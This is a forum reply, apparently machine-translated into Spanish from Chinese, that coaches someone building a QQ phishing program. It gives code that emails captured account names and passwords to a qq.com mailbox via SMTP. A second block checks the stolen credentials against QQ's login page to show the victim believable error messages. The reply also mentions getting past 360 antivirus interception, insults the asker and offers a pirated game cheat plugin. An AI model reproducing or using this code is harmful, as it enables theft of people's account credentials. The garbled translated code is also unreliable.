Código fuente de pesca de idiomas fácil

Bueno, la configuración modificada es correcta.

Pero parece que no ingresaste el número de puerto. El número de puerto de TX debería ser 25, porque yo ingresé 25..., para que se pueda enviar.

Puedes escribir así:

Conectar al servidor saliente ("smtp.qq.com", 25, ? nombre de usuario, contraseña)

Enviar correo electrónico ("El número está aquí !", "Cuenta:" + editbox2.content + # carácter de nueva línea + "Contraseña:"+ editbox2.content, "*@qq.com", ?, "*@qq.com", )

Sin embargo, 360 lo interceptará a medida que se envíe. De hecho, si el ordenador de tu casa tiene una IP fija, puedes crear un servidor. Y no puedes hacer esta verificación en absoluto. Introduces un 1 para mi cuenta y un 1 para la contraseña. Luego se acabó. Eres una basura. Puedes agregar una verificación.

'----------------------------- Verificar el código fuente

. Versión 2

Página de inicio de sesión = conversión del código fuente de la página web (archivo de lectura HTTP cálido ("/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid="))

' HTTP cálido read File("/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid="))

Generar sid = buscar contenido entre textos (página de inicio de sesión, "sid=", "&")

Texto de retorno de inicio de sesión = hacer POST (busque el parámetro POST (página de inicio de sesión, "Iniciar sesión ahora"), _Launch Window._Launch Window.EditBox1.content, _LaunchWindow.Editbox2.content)

.Determinar inicio (buscar texto (texto de retorno de inicio de sesión, "Error de contraseña de inicio de sesión", falso) > 0)

Retraso (1000)

Comentarios de error de contraseña. Llame a eventos de retroalimentación (, , )

. OK (buscar texto (texto de retorno de inicio de sesión, "Error al iniciar sesión, el sistema puede estar ocupado, inténtelo nuevamente más tarde", falso) > 0)

Retraso (500)

Error de cuenta comentario . Llame a eventos de retroalimentación (, , )

. Determinar (buscar texto (texto de retorno de inicio de sesión, "Su nombre de usuario o contraseña es incorrecto, vuelva a ingresar", falso) > 0)

Retraso (1000)

Comentarios de error de contraseña. Evento de comentarios de llamada (, , )

. Determinar (buscar texto (texto de retorno de inicio de sesión, "La cuenta que ingresó no existe", falso) > 0)

Retraso (500)

Comentarios de error de cuenta Evento de comentarios de llamada. (, , )

.

OK(buscar texto (texto de retorno de inicio de sesión, "Inicio de sesión exitoso", falso) > 0)

Página de inicio de sesión exitoso = Texto de retorno de inicio de sesión

sid = Generar sid

Retraso (1000)

Retroalimentación de la interfaz principal. Llame a eventos de retroalimentación (, , )

. OK (buscar texto (texto de retorno de inicio de sesión, "Ingrese el código de verificación", falso) > 0)

Dirección de la imagen del código de verificación = obtener texto (texto de retorno de inicio de sesión, "

_Iniciar ventana.Visible = Verdadero

De lo contrario

Ingrese el código de verificación y devuelva el texto = realizar POST (buscar POST). Parámetros (texto de retorno de inicio de sesión, "Iniciar sesión ahora"), contenido del código de verificación global)

. OK inicio(buscar texto(texto de retorno de inicio de sesión, "inicio de sesión exitoso", falso) > 0)

login_success_page = login_return_text

sid = generar sid

Retraso ( 1000)

Comentarios de la interfaz de usuario principal. Llame a eventos de retroalimentación (, , )

. Valor predeterminado

Retraso (1000)

Retroalimentación de error de contraseña. Evento de retroalimentación de llamada (, , )

' ----------------- El siguiente paso no es el código fuente

Aquí hay otro Caliente un módulo de aplicación HTTP, se lo subiré.

Escribí un "complemento" no certificado para OlaStar, puedes echarle un vistazo, jeje... (en realidad sigue siendo una versión pirateada, pero no la envíes)